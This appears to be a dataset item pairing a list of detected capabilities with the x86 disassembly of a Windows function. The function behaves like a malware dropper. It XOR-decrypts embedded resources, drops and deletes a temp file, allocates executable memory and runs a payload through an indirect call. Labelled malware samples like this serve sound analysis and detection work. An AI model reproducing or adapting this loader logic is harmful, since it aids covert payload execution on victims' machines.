Function at 0x40fdb0
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Execute shellcode via indirect call
Get common file path
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x410c18
push 0x405590
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, 0x1698
call fcn.0040c6c0
mov eax, dword [0x412050]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x28], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
push 0x402d20
push 0x402d30
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc8], eax
push 0xa
push 0x370
mov eax, dword [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x8dc], eax
mov ecx, dword [ebp - 0x8dc]
push ecx
mov edx, dword [ebp - 0xc8]
push edx
call dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x8dc]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xc4], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
mov dword [ebp - 0x8d8], eax
mov ecx, dword [ebp - 0x44]
add ecx, 4
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0xc4]
sub edx, 4
mov dword [ebp - 0xb4], edx
push 0x18
push 4
push 4
push 4
push 4
push 4
push 4
push 4
push 2
push 0x2030
call fcn.0040f160
add esp, 0x28
test eax, eax
je 0x40feb0
mov eax, 3
jmp 0x4106df
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x8e8], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0x8d8]
shl edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
push eax
call fcn.00402fee
add esp, 4
mov dword [ebp - 0x16a4], eax
mov ecx, dword [ebp - 0x16a4]
mov dword [ebp - 0x8e4], ecx
cmp dword [ebp - 0x8e4], 0
jne 0x40feff
or eax, 0xffffffff
jmp 0x4106df
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0xac], edx
push 0
lea eax, [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x8e4]
push ecx
mov edx, dword [ebp - 0x8e8]
push edx
mov eax, dword [ebp - 0xb0]
push eax
call fcn.0040ead0
add esp, 0x14
push 0xa
push 0x3ac
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x8e0], eax
mov edx, dword [ebp - 0x8e0]
push edx
mov eax, dword [ebp - 0xc8]
push eax
call dword [ebp - 0x3c]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x8e0]
push ecx
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, 4
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x8ec], 0
jmp 0x40ffa4
mov ecx, dword [ebp - 0x8ec]
add ecx, 1
mov dword [ebp - 0x8ec], ecx
mov edx, dword [ebp - 0x8ec]
cmp edx, dword [ebp - 0xac]
jae 0x41000a
mov eax, dword [ebp - 0x8e4]
add eax, dword [ebp - 0x8ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x5c]
add edx, dword [ebp - 0x8cc]
movsx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x8e4]
add ecx, dword [ebp - 0x8ec]
mov byte [ecx], al
mov edx, dword [ebp - 0x8cc]
add edx, 1
mov dword [ebp - 0x8cc], edx
mov eax, dword [ebp - 0x8cc]
cmp eax, dword [ebp - 0xc0]
jne 0x410008
mov dword [ebp - 0x8cc], 0
jmp 0x40ff95
mov ecx, dword [ebp - 0xac]
shr ecx, 1
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0xbc]
push edx
call fcn.00403512
add esp, 4
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x34], 0
xor ecx, ecx
mov dword [ebp - 0x33], ecx
mov dword [ebp - 0x2f], ecx
mov byte [ebp - 0x2b], cl
push 0xa
push 0
mov edx, dword [ebp - 0xb8]
push edx
call fcn.00403880
add esp, 0xc
mov dword [ebp - 0x8f0], 0
jmp 0x410073
mov eax, dword [ebp - 0x8f0]
add eax, 1
mov dword [ebp - 0x8f0], eax
mov ecx, dword [ebp - 0x8f0]
cmp ecx, dword [ebp - 0xbc]
jge 0x4100c3
mov edx, dword [ebp - 0x44]
mov al, byte [edx]
mov byte [ebp - 0x34], al
mov ecx, dword [ebp - 0x44]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x33], dl
lea eax, [ebp - 0x34]
push eax
call fcn.0040fa50
add esp, 4
mov dword [ebp - 0x8f4], eax
mov ecx, dword [ebp - 0xb8]
add ecx, dword [ebp - 0x8f0]
mov dl, byte [ebp - 0x8f4]
mov byte [ecx], dl
mov eax, dword [ebp - 0x44]
add eax, 2
mov dword [ebp - 0x44], eax
jmp 0x410064
mov ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x16a8], ecx
mov edx, dword [ebp - 0x16a8]
push edx
call fcn.004038fa
add esp, 4
push 0x402d40
push 0x402d54
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 0
je 0x41012a
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x8d0]
test eax, eax
jne 0x41012a
mov dword [ebp - 0x8d0], 0
lea edx, [ebp - 0x8c8]
push edx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x410154
push 0x402d64
lea eax, [ebp - 0x8c8]
push eax
call fcn.004035e0
add esp, 8
mov dword [ebp - 4], 0
push 0x402d68
call fcn.00403d76
add esp, 4
mov dword [ebp - 0x8fc], eax
mov byte [ebp - 0xd00], 0
mov ecx, dword [ebp - 0x8fc]
push ecx
lea edx, [ebp - 0xd00]
push edx
call fcn.004035f0
add esp, 8
push 0x402d78
lea eax, [ebp - 0xd00]
push eax
call fcn.004035f0
add esp, 8
lea ecx, [ebp - 0xd00]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 0xffffffff
jne 0x4101c4
mov byte [ebp - 0x8fd], 0
jmp 0x4101cb
mov byte [ebp - 0x8fd], 1
movzx edx, byte [ebp - 0x8fd]
cmp edx, 1
jne 0x4101e8
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
call fcn.0040f240
cmp eax, 1
jne 0x410203
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov dword [ebp - 4], 0xfffffffe
jmp 0x41021c
cmp dword [ebp - 0x8d0], 0
je 0x41022f
cmp dword [ebp - 0x58], 0
jne 0x4105c4
mov eax, dword [ebp - 0xbc]
push eax
call fcn.00402fee
add esp, 4
mov dword [ebp - 0x16ac], eax
mov ecx, dword [ebp - 0x16ac]
mov dword [ebp - 0x1534], ecx
mov edx, dword [ebp - 0xbc]
push edx
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0x1534]
push ecx
call fcn.00403010
add esp, 0xc
mov edx, dword [ebp - 0x1534]
mov eax, dword [ebp - 0x1534]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1544], eax
mov ecx, dword [ebp - 0x1544]
add ecx, 0xf8
mov dword [ebp - 0x1540], ecx
mov edx, dword [ebp - 0x1544]
mov eax, dword [edx + 0x80]
mov dword [ebp - 0x153c], eax
mov ecx, dword [ebp - 0x1544]
mov dword [ecx + 0x80], 0
mov edx, dword [ebp - 0x1544]
mov dword [edx + 0x84], 0
xor eax, eax
mov word [ebp - 0x1548], ax
jmp 0x4102e3
mov cx, word [ebp - 0x1548]
add cx, 1
mov word [ebp - 0x1548], cx
movzx edx, word [ebp - 0x1548]
mov eax, dword [ebp - 0x1544]
movzx ecx, word [eax + 6]
cmp edx, ecx
jge 0x4103ae
mov edx, dword [ebp - 0x1540]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x1540]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x153c]
push eax
call fcn.00402fd0
add esp, 0xc
movzx ecx, al
test ecx, ecx
je 0x41035c
mov edx, dword [ebp - 0x1544]
mov eax, dword [edx + 0x84]
push eax
push 0
mov ecx, dword [ebp - 0x1540]
mov edx, dword [ebp - 0x153c]
sub edx, dword [ecx + 0xc]
mov eax, dword [ebp - 0x1540]
add edx, dword [eax + 0x14]
add edx, dword [ebp - 0x1534]
push edx
call fcn.00403880
add esp, 0xc
push 8
mov ecx, dword [ebp - 0x1540]
push ecx
push 0x402d84
call fcn.00403375
add esp, 0xc
test eax, eax
je 0x41039a
mov edx, dword [ebp - 0x1540]
mov eax, dword [edx + 0x10]
push eax
push 0
mov ecx, dword [ebp - 0x1540]
mov edx, dword [ebp - 0x1534]
add edx, dword [ecx + 0x14]
push edx
call fcn.00403880
add esp, 0xc
mov eax, dword [ebp - 0x1540]
add eax, 0x28
mov dword [ebp - 0x1540], eax
jmp 0x4102d1
lea ecx, [ebp - 0x8c8]
push ecx
lea edx, [ebp - 0x1530]
push edx
call fcn.004035e0
add esp, 8
push 0x402d8c
lea eax, [ebp - 0x1530]
push eax
call fcn.004035f0
add esp, 8
push 0x402d90
lea ecx, [ebp - 0x1530]
push ecx
call fcn.00403861
add esp, 8
mov dword [ebp - 0x1538], eax
mov edx, dword [ebp - 0x1538]
push edx
mov eax, dword [ebp - 0xbc]
push eax
push 1
mov ecx, dword [ebp - 0x1534]
push ecx
call fcn.00403c6d
add esp, 0x10
mov edx, dword [ebp - 0x1538]
push edx
call fcn.00403e70
add esp, 4
mov dword [ebp - 4], 1
lea eax, [ebp - 0x15a4]
push eax
lea ecx, [ebp - 0x1688]
push ecx
lea edx, [ebp - 0x1560]
push edx
lea eax, [ebp - 0x15a0]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0xb8]
push edx
call fcn.0040f5e0
add esp, 0x18
movzx eax, al
test eax, eax
je 0x41058f
mov ecx, dword [ebp - 0x15a4]
push ecx
lea edx, [ebp - 0x1688]
push edx
lea eax, [ebp - 0x1560]
push eax
lea ecx, [ebp - 0x15a0]
push ecx
call fcn.0040f4f0
add esp, 0x10
mov dword [ebp - 0x1694], eax
push 0x402d94
push 0x402da4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1690], eax
push 0x40
push 0x1000
mov edx, dword [ebp - 0x1694]
push edx
push 0
call dword [ebp - 0x1690]
mov dword [ebp - 0x168c], eax
cmp dword [ebp - 0x168c], 0
je 0x41058f
mov eax, dword [ebp - 0x168c]
push eax
mov ecx, dword [ebp - 0x15a4]
push ecx
lea edx, [ebp - 0x1688]
push edx
lea eax, [ebp - 0x1560]
push eax
lea ecx, [ebp - 0x15a0]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
mov eax, dword [ebp - 0xb8]
push eax
call fcn.0040fc20
add esp, 0x1c
lea ecx, [ebp - 0x1530]
mov dword [ebp - 0x169c], ecx
call fcn.0040f230
mov dword [ebp - 0x1698], eax
push 0x402b71
call fcn.004036d8
add esp, 4
mov edx, dword [ebp - 0x169c]
push edx
mov eax, dword [ebp - 0x1694]
push eax
mov ecx, dword [ebp - 0x168c]
push ecx
mov edx, dword [ebp - 0x15a4]
push edx
lea eax, [ebp - 0x1688]
push eax
lea ecx, [ebp - 0x1560]
push ecx
lea edx, [ebp - 0x15a0]
push edx
call fcn.0040f710
add esp, 0x1c
push 0x402b72
call fcn.004036d8
add esp, 4
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1530]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x16b0], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x16b0]
jmp 0x4106df
mov ecx, dword [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x8c8]
push edx
call fcn.004035f0
add esp, 8
push 0x402db4
lea eax, [ebp - 0x8c8]
push eax
call fcn.004035f0
add esp, 8
push 0x402dbc
lea ecx, [ebp - 0x8c8]
push ecx
call fcn.00403861
add esp, 8
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x16a0], 0
jmp 0x41061d
mov edx, dword [ebp - 0x16a0]
add edx, 1
mov dword [ebp - 0x16a0], edx
mov eax, dword [ebp - 0x16a0]
cmp eax, dword [ebp - 0xbc]
jge 0x41064a
mov ecx, dword [ebp - 0x40]
push ecx
push 1
push 1
mov edx, dword [ebp - 0xb8]
add edx, dword [ebp - 0x16a0]
push edx
call fcn.00403c6d
add esp, 0x10
jmp 0x41060e
mov eax, dword [ebp - 0x40]
push eax
call fcn.00403e70
add esp, 4
mov dword [ebp - 0xa8], 0
push 0x40
push 0
lea ecx, [ebp - 0xa4]
push ecx
call fcn.00403880
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xa8]
push edx
call fcn.00403880
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.00403880
add esp, 0xc
mov dword [ebp - 0xa8], 0x44
push 0x402dc0
push 0x402dd0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0xa8]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x8c8]
push eax
call dword [ebp - 0x24]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.00402ff9
mov esp, ebp
pop ebp
ret 0x10